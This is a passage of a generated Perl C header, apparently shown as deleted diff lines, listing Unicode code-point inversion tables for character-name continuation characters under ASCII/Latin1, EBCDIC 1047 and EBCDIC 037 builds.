0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x20000, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2B820, - 0x2CEA2, - 0x2CEB0, - 0x2EBE1, - 0x2F800, - 0x2FA1E, - 0xE0100, - 0xE01F0 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL__PERL_CHARNAME_CONTINUE_invlist[] = { /* for EBCDIC 1047 */ - 1425, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x40, - 0x41, - 0x42, - 0x4A, - 0x4D, - 0x4E, - 0x51, - 0x5A, - 0x5D, - 0x5E, - 0x60, - 0x61, - 0x62, - 0x6A, - 0x6D, - 0x6E, - 0x70, - 0x79, - 0x80, - 0x8A, - 0x8C, - 0x8F, - 0x91, - 0x9D, - 0x9E, - 0x9F, - 0xA0, - 0xA1, - 0xA2, - 0xAA, - 0xAC, - 0xAD, - 0xAE, - 0xAF, - 0xBA, - 0xBB, - 0xC1, - 0xCA, - 0xCB, - 0xD0, - 0xD1, - 0xDA, - 0xDB, - 0xE0, - 0xE2, - 0xEA, - 0xEB, - 0xFA, - 0xFB, - 0xFF, - 0x100, - 0x2C2, - 0x2C6, - 0x2D2, - 0x2E0, - 0x2E5, - 0x2EC, - 0x2ED, - 0x2EE, - 0x2EF, - 0x300, - 0x375, - 0x376, - 0x378, - 0x37B, - 0x37E, - 0x37F, - 0x380, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x3F6, - 0x3F7, - 0x482, - 0x483, - 0x488, - 0x48A, - 0x530, - 0x531, - 0x557, - 0x559, - 0x55A, - 0x561, - 0x588, - 0x591, - 0x5BE, - 0x5BF, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5C6, - 0x5C7, - 0x5C8, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F3, - 0x610, - 0x61B, - 0x620, - 0x66A, - 0x66E, - 0x6D4, - 0x6D5, - 0x6DD, - 0x6DF, - 0x6E9, - 0x6EA, - 0x6FD, - 0x6FF, - 0x700, - 0x710, - 0x74B, - 0x74D, - 0x7B2, - 0x7C0, - 0x7F6, - 0x7FA, - 0x7FB, - 0x800, - 0x82E, - 0x840, - 0x85C, - 0x860, - 0x86B, - 0x8A0, - 0x8B5, - 0x8B6, - 0x8BE, - 0x8D4, - 0x8E2, - 0x8E3, - 0x964, - 0x966, - 0x970, - 0x971, - 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BC, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CF, - 0x9D7, - 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E4, - 0x9E6, - 0x9F2, - 0x9FC, - 0x9FD, - 0xA01, - 0xA04, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA66, - 0xA76, - 0xA81, - 0xA84, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABC, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE4, - 0xAE6, - 0xAF0, - 0xAF9, - 0xB00, - 0xB01, - 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3C, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB64, - 0xB66, - 0xB70, - 0xB71, - 0xB72, - 0xB82, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, - 0xBD0, - 0xBD1, - 0xBD7, - 0xBD8, - 0xBE6, - 0xBF0, - 0xC00, - 0xC04, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC58, - 0xC5B, - 0xC60, - 0xC64, - 0xC66, - 0xC70, - 0xC80, - 0xC84, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBC, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE4, - 0xCE6, - 0xCF0, - 0xCF1, - 0xCF3, - 0xD00, - 0xD04, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD4F, - 0xD54, - 0xD58, - 0xD5F, - 0xD64, - 0xD66, - 0xD70, - 0xD7A, - 0xD80, - 0xD82, - 0xD84, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDE6, - 0xDF0, - 0xDF2, - 0xDF4, - 0xE01, - 0xE3B, - 0xE40, - 0xE4F, - 0xE50, - 0xE5A, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEBA, - 0xEBB, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xEC8, - 0xECE, - 0xED0, - 0xEDA, - 0xEDC, - 0xEE0, - 0xF00, - 0xF01, - 0xF18, - 0xF1A, - 0xF20, - 0xF2A, - 0xF35, - 0xF36, - 0xF37, - 0xF38, - 0xF39, - 0xF3A, - 0xF3E, - 0xF48, - 0xF49, - 0xF6D, - 0xF71, - 0xF85, - 0xF86, - 0xF98, - 0xF99, - 0xFBD, - 0xFC6, - 0xFC7, - 0x1000, - 0x104A, - 0x1050, - 0x109E, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x10FB, - 0x10FC, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x135D, - 0x1360, - 0x1380, - 0x1390, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1401, - 0x166D, - 0x166F, - 0x1680, - 0x1681, - 0x169B, - 0x16A0, - 0x16EB, - 0x16EE, - 0x16F9, - 0x1700, - 0x170D, - 0x170E, - 0x1715, - 0x1720, - 0x1735, - 0x1740, - 0x1754, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1772, - 0x1774, - 0x1780, - 0x17D4, - 0x17D7, - 0x17D8, - 0x17DC, - 0x17DE, - 0x17E0, - 0x17EA, - 0x180B, - 0x180E, - 0x1810, - 0x181A, - 0x1820, - 0x1878, - 0x1880, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, - 0x1920, - 0x192C, - 0x1930, - 0x193C, - 0x1946, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x19D0, - 0x19DA, - 0x1A00, - 0x1A1C, - 0x1A20, - 0x1A5F, - 0x1A60, - 0x1A7D, - 0x1A7F, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1AA7, - 0x1AA8, - 0x1AB0, - 0x1ABE, - 0x1B00, - 0x1B4C, - 0x1B50, - 0x1B5A, - 0x1B6B, - 0x1B74, - 0x1B80, - 0x1BF4, - 0x1C00, - 0x1C38, - 0x1C40, - 0x1C4A, - 0x1C4D, - 0x1C7E, - 0x1C80, - 0x1C89, - 0x1CD0, - 0x1CD3, - 0x1CD4, - 0x1CFA, - 0x1D00, - 0x1DFA, - 0x1DFB, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC5, - 0x1FC6, - 0x1FCD, - 0x1FD0, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FE0, - 0x1FED, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFD, - 0x203F, - 0x2041, - 0x2054, - 0x2055, - 0x2071, - 0x2072, - 0x207F, - 0x2080, - 0x2090, - 0x209D, - 0x20D0, - 0x20DD, - 0x20E1, - 0x20E2, - 0x20E5, - 0x20F1, - 0x2102, - 0x2103, - 0x2107, - 0x2108, - 0x210A, - 0x2114, - 0x2115, - 0x2116, - 0x2119, - 0x211E, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x212F, - 0x213A, - 0x213C, - 0x2140, - 0x2145, - 0x214A, - 0x214E, - 0x214F, - 0x2160, - 0x2189, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2CE5, - 0x2CEB, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D70, - 0x2D7F, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x2DE0, - 0x2E00, - 0x3005, - 0x3008, - 0x3021, - 0x3030, - 0x3031, - 0x3036, - 0x3038, - 0x303D, - 0x3041, - 0x3097, - 0x3099, - 0x309B, - 0x309D, - 0x30A0, - 0x30A1, - 0x30FB, - 0x30FC, - 0x3100, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x31A0, - 0x31BB, - 0x31F0, - 0x3200, - 0x3400, - 0x4DB6, - 0x4E00, - 0x9FEB, - 0xA000, - 0xA48D, - 0xA4D0, - 0xA4FE, - 0xA500, - 0xA60D, - 0xA610, - 0xA62C, - 0xA640, - 0xA670, - 0xA674, - 0xA67E, - 0xA67F, - 0xA6F2, - 0xA717, - 0xA720, - 0xA722, - 0xA789, - 0xA78B, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7F7, - 0xA828, - 0xA840, - 0xA874, - 0xA880, - 0xA8C6, - 0xA8D0, - 0xA8DA, - 0xA8E0, - 0xA8F8, - 0xA8FB, - 0xA8FC, - 0xA8FD, - 0xA8FE, - 0xA900, - 0xA92E, - 0xA930, - 0xA954, - 0xA960, - 0xA97D, - 0xA980, - 0xA9C1, - 0xA9CF, - 0xA9DA, - 0xA9E0, - 0xA9FF, - 0xAA00, - 0xAA37, - 0xAA40, - 0xAA4E, - 0xAA50, - 0xAA5A, - 0xAA60, - 0xAA77, - 0xAA7A, - 0xAAC3, - 0xAADB, - 0xAADE, - 0xAAE0, - 0xAAF0, - 0xAAF2, - 0xAAF7, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xAB30, - 0xAB5B, - 0xAB5C, - 0xAB66, - 0xAB70, - 0xABEB, - 0xABEC, - 0xABEE, - 0xABF0, - 0xABFA, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xF900, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB29, - 0xFB2A, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBB2, - 0xFBD3, - 0xFC5E, - 0xFC64, - 0xFD3E, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFA, - 0xFE00, - 0xFE10, - 0xFE20, - 0xFE30, - 0xFE33, - 0xFE35, - 0xFE4D, - 0xFE50, - 0xFE71, - 0xFE72, - 0xFE73, - 0xFE74, - 0xFE77, - 0xFE78, - 0xFE79, - 0xFE7A, - 0xFE7B, - 0xFE7C, - 0xFE7D, - 0xFE7E, - 0xFE7F, - 0xFEFD, - 0xFF10, - 0xFF1A, - 0xFF21, - 0xFF3B, - 0xFF3F, - 0xFF40, - 0xFF41, - 0xFF5B, - 0xFF66, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0x10000, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10140, - 0x10175, - 0x101FD, - 0x101FE, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x102E0, - 0x102E1, - 0x10300, - 0x10320, - 0x1032D, - 0x1034B, - 0x10350, - 0x1037B, - 0x10380, - 0x1039E, - 0x103A0, - 0x103C4, - 0x103C8, - 0x103D0, - 0x103D1, - 0x103D6, - 0x10400, - 0x1049E, - 0x104A0, - 0x104AA, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10860, - 0x10877, - 0x10880, - 0x1089F, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x10900, - 0x10916, - 0x10920, - 0x1093A, - 0x10980, - 0x109B8, - 0x109BE, - 0x109C0, - 0x10A00, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A40, - 0x10A60, - 0x10A7D, - 0x10A80, - 0x10A9D, - 0x10AC0, - 0x10AC8, - 0x10AC9, - 0x10AE7, - 0x10B00, - 0x10B36, - 0x10B40, - 0x10B56, - 0x10B60, - 0x10B73, - 0x10B80, - 0x10B92, - 0x10C00, - 0x10C49, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x11000, - 0x11047, - 0x11066, - 0x11070, - 0x1107F, - 0x110BB, - 0x110D0, - 0x110E9, - 0x110F0, - 0x110FA, - 0x11100, - 0x11135, - 0x11136, - 0x11140, - 0x11150, - 0x11174, - 0x11176, - 0x11177, - 0x11180, - 0x111C5, - 0x111CA, - 0x111CD, - 0x111D0, - 0x111DB, - 0x111DC, - 0x111DD, - 0x11200, - 0x11212, - 0x11213, - 0x11238, - 0x1123E, - 0x1123F, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112A9, - 0x112B0, - 0x112EB, - 0x112F0, - 0x112FA, - 0x11300, - 0x11304, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133C, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134E, - 0x11350, - 0x11351, - 0x11357, - 0x11358, - 0x1135D, - 0x11364, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11400, - 0x1144B, - 0x11450, - 0x1145A, - 0x11480, - 0x114C6, - 0x114C7, - 0x114C8, - 0x114D0, - 0x114DA, - 0x11580, - 0x115B6, - 0x115B8, - 0x115C1, - 0x115D8, - 0x115DE, - 0x11600, - 0x11641, - 0x11644, - 0x11645, - 0x11650, - 0x1165A, - 0x11680, - 0x116B8, - 0x116C0, - 0x116CA, - 0x11700, - 0x1171A, - 0x1171D, - 0x1172C, - 0x11730, - 0x1173A, - 0x118A0, - 0x118EA, - 0x118FF, - 0x11900, - 0x11A00, - 0x11A3F, - 0x11A47, - 0x11A48, - 0x11A50, - 0x11A84, - 0x11A86, - 0x11A9A, - 0x11AC0, - 0x11AF9, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C37, - 0x11C38, - 0x11C41, - 0x11C50, - 0x11C5A, - 0x11C72, - 0x11C90, - 0x11C92, - 0x11CA8, - 0x11CA9, - 0x11CB7, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D48, - 0x11D50, - 0x11D5A, - 0x12000, - 0x1239A, - 0x12400, - 0x1246F, - 0x12480, - 0x12544, - 0x13000, - 0x1342F, - 0x14400, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16A60, - 0x16A6A, - 0x16AD0, - 0x16AEE, - 0x16AF0, - 0x16AF5, - 0x16B00, - 0x16B37, - 0x16B40, - 0x16B44, - 0x16B50, - 0x16B5A, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F7F, - 0x16F8F, - 0x16FA0, - 0x16FE0, - 0x16FE2, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, - 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1BC9D, - 0x1BC9F, - 0x1D165, - 0x1D16A, - 0x1D16D, - 0x1D173, - 0x1D17B, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1D242, - 0x1D245, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D6C1, - 0x1D6C2, - 0x1D6DB, - 0x1D6DC, - 0x1D6FB, - 0x1D6FC, - 0x1D715, - 0x1D716, - 0x1D735, - 0x1D736, - 0x1D74F, - 0x1D750, - 0x1D76F, - 0x1D770, - 0x1D789, - 0x1D78A, - 0x1D7A9, - 0x1D7AA, - 0x1D7C3, - 0x1D7C4, - 0x1D7CC, - 0x1D7CE, - 0x1D800, - 0x1DA00, - 0x1DA37, - 0x1DA3B, - 0x1DA6D, - 0x1DA75, - 0x1DA76, - 0x1DA84, - 0x1DA85, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E800, - 0x1E8C5, - 0x1E8D0, - 0x1E8D7, - 0x1E900, - 0x1E94B, - 0x1E950, - 0x1E95A, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x20000, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2B820, - 0x2CEA2, - 0x2CEB0, - 0x2EBE1, - 0x2F800, - 0x2FA1E, - 0xE0100, - 0xE01F0 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL__PERL_CHARNAME_CONTINUE_invlist[] = { /* for EBCDIC 037 */ - 1421, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x40, - 0x41, - 0x42, - 0x4A, - 0x4D, - 0x4E, - 0x51, - 0x5A, - 0x5D, - 0x5E, - 0x60, - 0x61, - 0x62, - 0x6A, - 0x6D, - 0x6E, - 0x70, - 0x79, - 0x80, - 0x8A, - 0x8C, - 0x8F, - 0x91, - 0x9D, - 0x9E, - 0x9F, - 0xA0, - 0xA1, - 0xA2, - 0xAA, - 0xAC, - 0xAF, - 0xC1, - 0xCA, - 0xCB, - 0xD0, - 0xD1, - 0xDA, - 0xDB, - 0xE0, - 0xE2, - 0xEA, - 0xEB, - 0xFA, - 0xFB, - 0xFF, - 0x100, - 0x2C2, - 0x2C6, - 0x2D2, - 0x2E0, - 0x2E5, - 0x2EC, - 0x2ED, - 0x2EE, - 0x2EF, - 0x300, - 0x375, - 0x376, - 0x378, - 0x37B, - 0x37E, - 0x37F, - 0x380, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x3F6, - 0x3F7, - 0x482, - 0x483, - 0x488, - 0x48A, - 0x530, - 0x531, - 0x557, - 0x559, - 0x55A, - 0x561, - 0x588, - 0x591, - 0x5BE, - 0x5BF, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5C6, - 0x5C7, - 0x5C8, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F3, - 0x610, - 0x61B, - 0x620, - 0x66A, - 0x66E, - 0x6D4, - 0x6D5, - 0x6DD, - 0x6DF, - 0x6E9, - 0x6EA, - 0x6FD, - 0x6FF, - 0x700, - 0x710, - 0x74B, - 0x74D, - 0x7B2, - 0x7C0, - 0x7F6, - 0x7FA, - 0x7FB, - 0x800, - 0x82E, - 0x840, - 0x85C, - 0x860, - 0x86B, - 0x8A0, - 0x8B5, - 0x8B6, - 0x8BE, - 0x8D4, - 0x8E2, - 0x8E3, - 0x964, - 0x966, - 0x970, - 0x971, - 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BC, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CF, - 0x9D7, - 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E4, - 0x9E6, - 0x9F2, - 0x9FC, - 0x9FD, - 0xA01, - 0xA04, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA66, - 0xA76, - 0xA81, - 0xA84, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABC, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE4, - 0xAE6, - 0xAF0, - 0xAF9, - 0xB00, - 0xB01, - 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3C, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB64, - 0xB66, - 0xB70, - 0xB71, - 0xB72, - 0xB82, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, - 0xBD0, - 0xBD1, - 0xBD7, - 0xBD8, - 0xBE6, - 0xBF0, - 0xC00, - 0xC04, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC58, - 0xC5B, - 0xC60, - 0xC64, - 0xC66, - 0xC70, - 0xC80, - 0xC84, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBC, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE4, - 0xCE6, - 0xCF0, - 0xCF1, - 0xCF3, - 0xD00, - 0xD04, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD4F, - 0xD54, - 0xD58, - 0xD5F, - 0xD64, - 0xD66, - 0xD70, - 0xD7A, - 0xD80, - 0xD82, - 0xD84, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 